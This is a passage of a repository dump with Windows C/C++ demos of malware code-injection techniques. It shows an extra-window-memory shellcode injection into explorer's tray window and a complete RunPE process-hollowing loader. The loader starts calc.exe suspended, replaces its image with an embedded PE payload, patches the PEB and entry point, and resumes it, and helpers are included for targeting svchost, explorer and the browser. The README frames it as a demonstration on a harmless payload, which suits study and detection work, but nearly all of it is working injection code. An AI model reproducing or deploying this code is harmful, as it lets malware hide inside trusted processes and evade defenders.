35 | PVOID sectionBaseAddress2 = NULL;
36 | if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
37 | {
38 | printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
39 | return NULL;
40 | }
41 |
42 | LPVOID shellcode_remote_ptr = sectionBaseAddress2;
43 | LPVOID shellcode_local_ptr = sectionBaseAddress;
44 |
45 | //the same page have double mapping - remote and local, so local modifications are reflected remotely
46 | memcpy (shellcode_local_ptr, shellcode, shellcodeSize);
47 | printf("Shellcode copied!\n");
48 |
49 | LPVOID handles_remote_ptr = (BYTE*) shellcode_remote_ptr + shellcodeSize;
50 | LPVOID handles_local_ptr = (BYTE*) shellcode_local_ptr + shellcodeSize;
51 |
52 | //store the remote addresses
53 | PVOID buf_va = (BYTE*) handles_remote_ptr;
54 | LONG hop1 = (LONG) buf_va + sizeof(LONG);
55 | LONG shellc_va = (LONG) shellcode_remote_ptr;
56 |
57 | //fill the pointers
58 | memcpy((BYTE*)handles_local_ptr, &hop1, sizeof(LONG));
59 | memcpy((BYTE*)handles_local_ptr + sizeof(LONG), &shellc_va, sizeof(LONG));
60 |
61 | //unmap from the context of current process
62 | ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
63 | ZwClose(hSection);
64 |
65 | printf("Section mapped at address: %p\n", sectionBaseAddress2);
66 | return shellcode_remote_ptr;
67 | }
68 |
69 | bool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize)
70 | {
71 | HWND hWnd = FindWindow(L"Shell_TrayWnd", NULL);
72 | if (hWnd == NULL) return false;
73 |
74 | DWORD pid = 0;
75 | GetWindowThreadProcessId(hWnd, &pid);
76 | printf("PID:\t%d\n", pid);
77 | //save the current value, because we will need to recover it:
78 | LONG winLong = GetWindowLongW(hWnd, 0);
79 | printf("WindowLong:\t%lx\n", winLong);
80 |
81 | HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid);
82 | if (hProcess == NULL) {
83 | return false;
84 | }
85 |
86 | LPVOID remote_shellcode_ptr = map_code_and_addresses_into_process(hProcess, shellcode, shellcodeSize);
87 | if (remote_shellcode_ptr == NULL) {
88 | return false;
89 | }
90 | LPVOID remote_handles_ptr = (BYTE*) remote_shellcode_ptr + shellcodeSize;
91 |
92 | printf("Saving handles to:\t%p\n", remote_handles_ptr);
93 |
94 | //set the handle to the injected:
95 | SetWindowLong(hWnd, 0, (LONG) remote_handles_ptr);
96 |
97 | //send signal to execute the injected code
98 | SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
99 |
100 | //procedure will be triggered on every message
101 | //in order to avoid repetitions, injected code should restore the previous value after the first exection
102 | //here we are checking if it is done
103 | size_t max_wait = 5;
104 | while (GetWindowLong(hWnd, 0) != winLong) {
105 | //not restored, wait more
106 | Sleep(100);
107 | if ((max_wait--) == 0) {
108 | //don't wait longer, restore by yourself
109 | SetWindowLong(hWnd, 0, winLong);
110 | SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
111 | }
112 | }
113 | CloseHandle(hProcess);
114 | return true;
115 | }
--------------------------------------------------------------------------------
/inject_shellcode/src/window_long_inject.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include "ntddk.h"
5 |
6 | bool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize);
7 |
--------------------------------------------------------------------------------
/run_pe/README.md:
--------------------------------------------------------------------------------
1 | # run_pe
2 | RunPE demo
3 | a technique commonly used by malware, demonstrated on a harmless example
4 |
--------------------------------------------------------------------------------
/run_pe/src/CMakeLists.txt:
--------------------------------------------------------------------------------
1 |
2 | cmake_minimum_required ( VERSION 2.8...3.21 )
3 | project (RunPE)
4 |
5 | add_definitions(-DUNICODE -D_UNICODE)
6 |
7 | set (srcs
8 | main.cpp
9 | pe_hdrs_helper.cpp
10 | sysutil.cpp
11 | )
12 |
13 | set (hdrs
14 | resource.h
15 | ntddk.h
16 | ntdll_undoc.h
17 | target_util.h
18 | createproc.h
19 | pe_hdrs_helper.h
20 | pe_raw_to_virtual.h
21 | relocate.h
22 | runpe.h
23 | sysutil.h
24 | )
25 |
26 | set (rsrc
27 | resource.rc
28 | )
29 |
30 | add_executable (RunPE ${rsrc} ${hdrs} ${srcs})
31 |
32 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} )
33 |
--------------------------------------------------------------------------------
/run_pe/src/createproc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | bool create_new_process1(IN LPWSTR path, OUT PROCESS_INFORMATION &pi)
4 | {
5 | STARTUPINFO si;
6 | memset(&si, 0, sizeof(STARTUPINFO));
7 | si.cb = sizeof(STARTUPINFO);
8 |
9 | memset(&pi, 0, sizeof(PROCESS_INFORMATION));
10 |
11 | if (!CreateProcess(
12 | NULL,
13 | path,
14 | NULL, //lpProcessAttributes
15 | NULL, //lpThreadAttributes
16 | FALSE, //bInheritHandles
17 | CREATE_SUSPENDED, //dwCreationFlags
18 | NULL, //lpEnvironment
19 | NULL, //lpCurrentDirectory
20 | &si, //lpStartupInfo
21 | &pi //lpProcessInformation
22 | ))
23 | {
24 | printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError());
25 | return false;
26 | }
27 | return true;
28 | }
29 |
--------------------------------------------------------------------------------
/run_pe/src/demo.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hasherezade/demos/96ae61e323d49d75799c94bca94279052afc809d/run_pe/src/demo.bin
--------------------------------------------------------------------------------
/run_pe/src/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "resource.h"
5 | #include "runpe.h"
6 | #include "target_util.h"
7 | #include "sysutil.h"
8 |
9 | BYTE* get_raw_payload(OUT SIZE_T &res_size)
10 | {
11 | HMODULE hInstance = GetModuleHandle(NULL);
12 | HRSRC res = FindResource(hInstance, MAKEINTRESOURCE(MY_RESOURCE), RT_RCDATA);
13 | if (!res) return NULL;
14 |
15 | HGLOBAL res_handle = LoadResource(NULL, res);
16 | if (res_handle == NULL) return NULL;
17 |
18 | BYTE* res_data = (BYTE*) LockResource(res_handle);
19 | res_size = SizeofResource(NULL, res);
20 |
21 | BYTE* out_buf = (BYTE*) VirtualAlloc(NULL,res_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
22 | memcpy(out_buf, res_data, res_size);
23 |
24 | FreeResource(res_handle);
25 | return out_buf;
26 | }
27 |
28 | int main(int argc, char *argv[])
29 | {
30 | BYTE* res_data = NULL;
31 | SIZE_T res_size = 0;
32 |
33 | if ((res_data = get_raw_payload(res_size)) == NULL) {
34 | printf("Failed!\n");
35 | return -1;
36 | }
37 |
38 | WCHAR targetPath[MAX_PATH];
39 | if (!get_calc_path(targetPath, MAX_PATH)) {
40 | return -1;
41 | }
42 |
43 | if (runPE32(targetPath, res_data, res_size)) {
44 | printf("Injected!\n");
45 | } else {
46 | printf("Injection failed\n");
47 | }
48 | VirtualFree(res_data, res_size, MEM_FREE);
49 | system("pause");
50 | return 0;
51 | }
52 |
--------------------------------------------------------------------------------
/run_pe/src/ntdll_undoc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include "ntddk.h"
5 |
6 | //don't forget to load functions before use:
7 | //load_ntdll_functions();
8 |
9 | NTSTATUS (NTAPI *_NtUnmapViewOfSection) (
10 | IN HANDLE ProcessHandle,
11 | IN PVOID BaseAddress
12 | );
13 |
14 |
15 | BOOL load_ntdll_functions()
16 | {
17 | HMODULE hNtdll = GetModuleHandleA("ntdll");
18 | if (hNtdll == NULL) return FALSE;
19 |
20 | _NtUnmapViewOfSection = (NTSTATUS (NTAPI *) (HANDLE, PVOID)) GetProcAddress(hNtdll,"NtUnmapViewOfSection");
21 | if (_NtUnmapViewOfSection == NULL) return FALSE;
22 |
23 | return TRUE;
24 | }
25 |
--------------------------------------------------------------------------------
/run_pe/src/pe_hdrs_helper.cpp:
--------------------------------------------------------------------------------
1 | #include "pe_hdrs_helper.h"
2 |
3 | IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer)
4 | {
5 | if (pe_buffer == NULL) return NULL;
6 |
7 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer;
8 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
9 | return NULL;
10 | }
11 | const LONG kMaxOffset = 1024;
12 | LONG pe_offset = idh->e_lfanew;
13 | if (pe_offset > kMaxOffset) return NULL;
14 |
15 | IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)((BYTE*)pe_buffer + pe_offset);
16 | return inh;
17 | }
18 |
19 | IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id)
20 | {
21 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;
22 |
23 | //fetch relocation table from current image:
24 | PIMAGE_NT_HEADERS32 nt_headers = get_nt_hrds32((BYTE*) pe_buffer);
25 | if (nt_headers == NULL) return NULL;
26 |
27 | IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]);
28 | if (peDir->VirtualAddress == NULL) {
29 | return NULL;
30 | }
31 | return peDir;
32 | }
33 |
--------------------------------------------------------------------------------
/run_pe/src/pe_hdrs_helper.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer);
5 | IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id);
6 |
--------------------------------------------------------------------------------
/run_pe/src/pe_raw_to_virtual.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | #include "pe_hdrs_helper.h"
7 |
8 | // Map raw PE into virtual memory of remote process
9 | bool copy_pe_to_virtual_r(BYTE* payload, SIZE_T payload_size, LPVOID baseAddress, HANDLE hProcess)
10 | {
11 | if (payload == NULL) return false;
12 |
13 | IMAGE_NT_HEADERS32* payload_nt_hdr = get_nt_hrds32(payload);
14 | if (payload_nt_hdr == NULL) {
15 | printf("Invalid payload: %p\n", payload);
16 | return false;
17 | }
18 |
19 | SIZE_T written = 0;
20 |
21 | //copy payload's headers:
22 | const DWORD kHdrsSize = payload_nt_hdr->OptionalHeader.SizeOfHeaders;
23 | if (!WriteProcessMemory(hProcess, baseAddress, payload, kHdrsSize, &written)) {
24 | return false;
25 | }
26 | if (written != kHdrsSize) return false;
27 |
28 | printf("Copied payload's headers to: %p\n", baseAddress);
29 |
30 | LPVOID secptr = &(payload_nt_hdr->OptionalHeader);
31 | const DWORD kOptHdrSize = payload_nt_hdr->FileHeader.SizeOfOptionalHeader;
32 |
33 | //copy all the sections, one by one:
34 | secptr = LPVOID((ULONGLONG) secptr + kOptHdrSize);
35 |
36 | printf("Coping sections remotely:\n");
37 | for (WORD i = 0; i < payload_nt_hdr->FileHeader.NumberOfSections; i++) {
38 | PIMAGE_SECTION_HEADER next_sec = (PIMAGE_SECTION_HEADER)((ULONGLONG)secptr + (IMAGE_SIZEOF_SECTION_HEADER * i));
39 |
40 | LPVOID section_place = (BYTE*) baseAddress + next_sec->VirtualAddress;
41 | LPVOID section_raw_ptr = payload + next_sec->PointerToRawData;
42 |
43 | if (!WriteProcessMemory(hProcess, section_place, section_raw_ptr, next_sec->SizeOfRawData, &written)) {
44 | return false;
45 | }
46 | if (written != next_sec->SizeOfRawData) return false;
47 | printf("[+] %s to: %p\n", next_sec->Name, section_place);
48 | }
49 | return true;
50 | }
51 |
52 | // Map raw PE into virtual memory of local process:
53 | bool copy_pe_to_virtual_l(BYTE* payload, SIZE_T payload_size, LPVOID baseAddress)
54 | {
55 | if (payload == NULL) return false;
56 |
57 | IMAGE_NT_HEADERS32* payload_nt_hdr = get_nt_hrds32(payload);
58 | if (payload_nt_hdr == NULL) {
59 | printf("Invalid payload: %p\n", payload);
60 | return false;
61 | }
62 | //copy payload's headers:
63 | const DWORD kHdrsSize = payload_nt_hdr->OptionalHeader.SizeOfHeaders;
64 | memcpy(baseAddress, payload, kHdrsSize);
65 |
66 | LPVOID secptr = &(payload_nt_hdr->OptionalHeader);
67 | const DWORD kOptHdrSize = payload_nt_hdr->FileHeader.SizeOfOptionalHeader;
68 |
69 | //copy all the sections, one by one:
70 | secptr = LPVOID((ULONGLONG) secptr + kOptHdrSize);
71 |
72 | printf("Coping sections locally:\n");
73 | for (WORD i = 0; i < payload_nt_hdr->FileHeader.NumberOfSections; i++) {
74 | PIMAGE_SECTION_HEADER next_sec = (PIMAGE_SECTION_HEADER)((ULONGLONG)secptr + (IMAGE_SIZEOF_SECTION_HEADER * i));
75 |
76 | LPVOID section_place = (BYTE*) baseAddress + next_sec->VirtualAddress;
77 | LPVOID section_raw_ptr = payload + next_sec->PointerToRawData;
78 | memcpy(section_place, section_raw_ptr, next_sec->SizeOfRawData);
79 | printf("[+] %s to: %p\n", next_sec->Name, section_place);
80 | }
81 | return true;
82 | }
83 |
--------------------------------------------------------------------------------
/run_pe/src/relocate.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include "pe_hdrs_helper.h"
5 |
6 | #define RELOC_32BIT_FIELD 3
7 |
8 | typedef struct _BASE_RELOCATION_ENTRY {
9 | WORD Offset : 12;
10 | WORD Type: 4;
11 | } BASE_RELOCATION_ENTRY;
12 |
13 | bool has_relocations(BYTE *pe_buffer)
14 | {
15 | IMAGE_DATA_DIRECTORY* relocDir = get_pe_directory32(pe_buffer, IMAGE_DIRECTORY_ENTRY_BASERELOC);
16 | if (relocDir == NULL) {
17 | return false;
18 | }
19 | return true;
20 | }
21 |
22 | bool apply_reloc_block32(BASE_RELOCATION_ENTRY *block, SIZE_T entriesNum, DWORD page, ULONGLONG oldBase, ULONGLONG newBase, PVOID modulePtr)
23 | {
24 | BASE_RELOCATION_ENTRY* entry = block;
25 | SIZE_T i = 0;
26 | for (i = 0; i < entriesNum; i++) {
27 | DWORD offset = entry->Offset;
28 | DWORD type = entry->Type;
29 | if (entry == NULL || type == 0) {
30 | break;
31 | }
32 | if (type != RELOC_32BIT_FIELD) {
33 | printf("Not supported relocations format at %d: %d\n", static_cast(i), type);
34 | return false;
35 | }
36 | DWORD* relocateAddr = (DWORD*) ((ULONG_PTR) modulePtr + page + offset);
37 | (*relocateAddr) = static_cast((*relocateAddr) - (ULONG_PTR) oldBase) + newBase;
38 | entry = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) entry + sizeof(WORD));
39 | }
40 | printf("[+] Applied %d relocations\n", static_cast(i));
41 | return true;
42 | }
43 |
44 | bool apply_relocations(ULONGLONG newBase, ULONGLONG oldBase, PVOID modulePtr)
45 | {
46 | IMAGE_DATA_DIRECTORY* relocDir = get_pe_directory32(modulePtr, IMAGE_DIRECTORY_ENTRY_BASERELOC);
47 | if (relocDir == NULL) {
48 | printf ("Cannot relocate - application have no relocation table!\n");
49 | return false;
50 | }
51 | DWORD maxSize = relocDir->Size;
52 | DWORD relocAddr = relocDir->VirtualAddress;
53 |
54 | IMAGE_BASE_RELOCATION* reloc = NULL;
55 |
56 | DWORD parsedSize = 0;
57 | while (parsedSize < maxSize) {
58 | reloc = (IMAGE_BASE_RELOCATION*)(relocAddr + parsedSize + (ULONG_PTR) modulePtr);
59 | parsedSize += reloc->SizeOfBlock;
60 |
61 | if (reloc->VirtualAddress == NULL || reloc->SizeOfBlock == 0) {
62 | continue;
63 | }
64 |
65 | printf("RelocBlock: %x %x\n", reloc->VirtualAddress, reloc->SizeOfBlock);
66 |
67 | size_t entriesNum = (reloc->SizeOfBlock - 2 * sizeof(DWORD)) / sizeof(WORD);
68 | DWORD page = reloc->VirtualAddress;
69 |
70 | BASE_RELOCATION_ENTRY* block = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) reloc + sizeof(DWORD) + sizeof(DWORD));
71 | if (apply_reloc_block32(block, entriesNum, page, oldBase, newBase, modulePtr) == false) {
72 | return false;
73 | }
74 | }
75 | return true;
76 | }
77 |
--------------------------------------------------------------------------------
/run_pe/src/resource.h:
--------------------------------------------------------------------------------
1 | // resource.h
2 |
3 | #define MY_RESOURCE 101
4 |
--------------------------------------------------------------------------------
/run_pe/src/resource.rc:
--------------------------------------------------------------------------------
1 | // resource.rc :
2 |
3 | // Microsoft Visual C++ generated resource script.
4 | //
5 | #include "resource.h"
6 |
7 | #define APSTUDIO_READONLY_SYMBOLS
8 | /////////////////////////////////////////////////////////////////////////////
9 | //
10 | // Generated from the TEXTINCLUDE 2 resource.
11 | //
12 | #include "windows.h"
13 |
14 | /////////////////////////////////////////////////////////////////////////////
15 | #undef APSTUDIO_READONLY_SYMBOLS
16 |
17 | /////////////////////////////////////////////////////////////////////////////
18 |
19 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_PLK)
20 | LANGUAGE LANG_ENGLISH, SUBLANG_DEFAULT
21 |
22 | #ifdef APSTUDIO_INVOKED
23 | /////////////////////////////////////////////////////////////////////////////
24 | //
25 | // TEXTINCLUDE
26 | //
27 |
28 | 1 TEXTINCLUDE
29 | BEGIN
30 | "resource.h\0"
31 | END
32 |
33 | 2 TEXTINCLUDE
34 | BEGIN
35 | "#include ""windows.h""\r\n"
36 | "\0"
37 | END
38 |
39 | 3 TEXTINCLUDE
40 | BEGIN
41 | "\r\n"
42 | "\0"
43 | END
44 |
45 | #endif // APSTUDIO_INVOKED
46 |
47 |
48 | /////////////////////////////////////////////////////////////////////////////
49 | //
50 | // RCDATA
51 | //
52 |
53 | MY_RESOURCE RCDATA "demo.bin"
54 |
55 | #endif
56 | /////////////////////////////////////////////////////////////////////////////
57 |
--------------------------------------------------------------------------------
/run_pe/src/run.bat:
--------------------------------------------------------------------------------
1 | demo.bin
--------------------------------------------------------------------------------
/run_pe/src/runpe.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | #include "ntdll_undoc.h"
7 | #include "createproc.h"
8 | #include "relocate.h"
9 | #include "pe_raw_to_virtual.h"
10 |
11 | /*
12 | runPE32:
13 | targetPath - application where we want to inject
14 | payload - buffer with raw image of PE that we want to inject
15 | payload_size - size of the above
16 |
17 | desiredBase - address where we want to map the payload in the target memory; NULL if we don't care.
18 | This address will be ignored if the payload has no relocations table, because then it must be mapped to it's original ImageBase.
19 | unmap_target - do we want to unmap the target? (we are not forced to do it if it doesn't disturb our chosen base)
20 | */
21 | bool runPE32(LPWSTR targetPath, BYTE* payload, SIZE_T payload_size, ULONGLONG desiredBase = NULL, bool unmap_target = false)
22 | {
23 | if (!load_ntdll_functions()) return false;
24 |
25 | //check payload:
26 | IMAGE_NT_HEADERS32* payload_nt_hdr32 = get_nt_hrds32(payload);
27 | if (payload_nt_hdr32 == NULL) {
28 | printf("Invalid payload: %p\n", payload);
29 | return false;
30 | }
31 |
32 | const ULONGLONG oldImageBase = payload_nt_hdr32->OptionalHeader.ImageBase;
33 | SIZE_T payloadImageSize = payload_nt_hdr32->OptionalHeader.SizeOfImage;
34 |
35 | //set subsystem always to GUI to avoid crashes:
36 | payload_nt_hdr32->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_GUI;
37 |
38 | //create target process:
39 | PROCESS_INFORMATION pi;
40 | if (!create_new_process1(targetPath, pi)) return false;
41 | printf("PID: %d\n", pi.dwProcessId);
42 |
43 | //get initial context of the target:
44 | #if defined(_WIN64)
45 | WOW64_CONTEXT context;
46 | memset(&context, 0, sizeof(WOW64_CONTEXT));
47 | context.ContextFlags = CONTEXT_INTEGER;
48 | Wow64GetThreadContext(pi.hThread, &context);
49 | #else
50 | CONTEXT context;
51 | memset(&context, 0, sizeof(CONTEXT));
52 | context.ContextFlags = CONTEXT_INTEGER;
53 | GetThreadContext(pi.hThread, &context);
54 | #endif
55 | //get image base of the target:
56 | DWORD PEB_addr = context.Ebx;
57 | printf("PEB = %x\n", PEB_addr);
58 |
59 | DWORD targetImageBase = 0; //for 32 bit
60 | if (!ReadProcessMemory(pi.hProcess, LPVOID(PEB_addr + 8), &targetImageBase, sizeof(DWORD), NULL)) {
61 | printf("[ERROR] Cannot read from PEB - incompatibile target!\n");
62 | return false;
63 | }
64 | if (targetImageBase == NULL) {
65 | return false;
66 | }
67 | printf("targetImageBase = %x\n", targetImageBase);
68 |
69 | if (has_relocations(payload) == false) {
70 | //payload have no relocations, so we are bound to use it's original image base
71 | desiredBase = payload_nt_hdr32->OptionalHeader.ImageBase;
72 | }
73 |
74 | if (unmap_target || (ULONGLONG)targetImageBase == desiredBase) {
75 | //unmap the target:
76 | if (_NtUnmapViewOfSection(pi.hProcess, (PVOID)targetImageBase) != ERROR_SUCCESS) {
77 | printf("Unmapping the target failed!\n");
78 | return false;
79 | }
80 | }
81 |
82 | //try to allocate space that will be the most suitable for the payload:
83 | LPVOID remoteAddress = VirtualAllocEx(pi.hProcess, (LPVOID)desiredBase, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
84 | if (remoteAddress == NULL) {
85 | printf("Could not allocate memory in the remote process\n");
86 | return false;
87 | }
88 | printf("Allocated remote ImageBase: %p size: %lx\n", remoteAddress, static_cast(payloadImageSize));
89 |
90 | //change the image base saved in headers - this is very important for loading imports:
91 | payload_nt_hdr32->OptionalHeader.ImageBase = static_cast((ULONGLONG)remoteAddress);
92 |
93 | //first we will prepare the payload image in the local memory, so that it will be easier to edit it, apply relocations etc.
94 | //when it will be ready, we will copy it into the space reserved in the target process
95 |
96 | LPVOID localCopyAddress = VirtualAlloc(NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);;
97 | if (localCopyAddress == NULL) {
98 | printf("Could not allocate memory in the current process\n");
99 | return false;
100 | }
101 | printf("Allocated local memory: %p size: %lx\n", localCopyAddress, static_cast(payloadImageSize));
102 |
103 | if (!copy_pe_to_virtual_l(payload, payload_size, localCopyAddress)) {
104 | printf("Could not copy PE file\n");
105 | return false;
106 | }
107 |
108 | //if the base address of the payload changed, we need to apply relocations:
109 | if ((ULONGLONG)remoteAddress != oldImageBase) {
110 | if (apply_relocations((ULONGLONG)remoteAddress, oldImageBase, localCopyAddress) == false) {
111 | printf("[ERROR] Could not relocate image!\n");
112 | return false;
113 | }
114 | }
115 |
116 | SIZE_T written = 0;
117 | // paste the local copy of the prepared image into the reserved space inside the remote process:
118 | if (!WriteProcessMemory(pi.hProcess, remoteAddress, localCopyAddress, payloadImageSize, &written) || written != payloadImageSize) {
119 | printf("[ERROR] Could not paste the image into remote process!\n");
120 | return false;
121 | }
122 | //free the localy allocated copy
123 | VirtualFree(localCopyAddress, payloadImageSize, MEM_FREE);
124 |
125 | //overwrite ImageBase stored in PEB
126 | DWORD remoteAddr32b = static_cast((ULONGLONG)remoteAddress);
127 | if (!WriteProcessMemory(pi.hProcess, LPVOID(PEB_addr + 8), &remoteAddr32b, sizeof(DWORD), &written) || written != sizeof(DWORD)) {
128 | printf("Failed overwriting PEB: %d\n", static_cast(written));
129 | return false;
130 | }
131 |
132 | //overwrite context: set new Entry Point
133 | DWORD newEP = static_cast((ULONGLONG)remoteAddress + payload_nt_hdr32->OptionalHeader.AddressOfEntryPoint);
134 | printf("newEP: %x\n", newEP);
135 | context.Eax = newEP;
136 | #if defined(_WIN64)
137 | Wow64SetThreadContext(pi.hThread, &context);
138 | #else
139 | SetThreadContext(pi.hThread, &context);
140 | #endif
141 | //start the injected:
142 | printf("--\n");
143 | ResumeThread(pi.hThread);
144 |
145 | //free the handles
146 | CloseHandle(pi.hThread);
147 | CloseHandle(pi.hProcess);
148 | return true;
149 | }
150 |
--------------------------------------------------------------------------------
/run_pe/src/sysutil.cpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "sysutil.h"
3 |
4 | #include
5 | #include
6 |
7 | typedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
8 |
9 | bool is_compiled_32b()
10 | {
11 | if (sizeof(LPVOID) == sizeof(DWORD)) {
12 | return true;
13 | }
14 | return false;
15 | }
16 |
17 | bool is_wow64()
18 | {
19 | LPFN_ISWOW64PROCESS fnIsWow64Process;
20 | BOOL bIsWow64 = false;
21 |
22 | //IsWow64Process is not available on all supported versions of Windows.
23 | //Use GetModuleHandle to get a handle to the DLL that contains the function
24 | //and GetProcAddress to get a pointer to the function if available.
25 |
26 | fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
27 | if (fnIsWow64Process == NULL) {
28 | return false;
29 | }
30 | if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) {
31 | return false;
32 | }
33 | if (bIsWow64 == TRUE) {
34 | return true; //64 bit
35 | }
36 | return false; //32 bit
37 | }
38 |
39 | bool is_system32b()
40 | {
41 | //is the current application 32 bit?
42 | if (!is_compiled_32b()) {
43 | return false;
44 | }
45 | //check if it is running under WoW
46 | if (is_wow64()) {
47 | return false;
48 | }
49 | return true;
50 | }
51 |
--------------------------------------------------------------------------------
/run_pe/src/sysutil.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | bool is_compiled_32b();
4 | bool is_wow64();
5 | bool is_system32b();
6 |
--------------------------------------------------------------------------------
/run_pe/src/target_util.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | bool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath)
4 | {
5 | HKEY phkResult;
6 | DWORD iMaxLen = szOutPath;
7 |
8 | LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"HTTP\\shell\\open\\command", 0, 1u, &phkResult);
9 | if (res != ERROR_SUCCESS) {
10 | printf("[ERROR] Failed with value = %x\n", res);
11 | return false;
12 | }
13 |
14 | res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen);
15 | if (res != ERROR_SUCCESS) {
16 | printf("[ERROR] Failed with value = %x\n", res);
17 | return false;
18 | }
19 | printf("%S\n", lpwOutPath );
20 | return true;
21 | }
22 |
23 | bool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath)
24 | {
25 | #if defined(_WIN64)
26 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath);
27 | #else
28 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath);
29 | #endif
30 | printf("%S\n", lpwOutPath );
31 | return true;
32 | }
33 |
34 | bool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath)
35 | {
36 | #if defined(_WIN64)
37 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\svchost.exe", lpwOutPath, szOutPath);
38 | #else
39 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\svchost.exe", lpwOutPath, szOutPath);
40 | #endif
41 | printf("%S\n", lpwOutPath );
42 | return true;
43 | }
44 |
45 | bool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath)
46 | {
47 | ExpandEnvironmentStrings(L"%windir%\\explorer.exe", lpwOutPath, szOutPath);
48 | printf("%S\n", lpwOutPath );
49 | return true;
50 | }
51 |
--------------------------------------------------------------------------------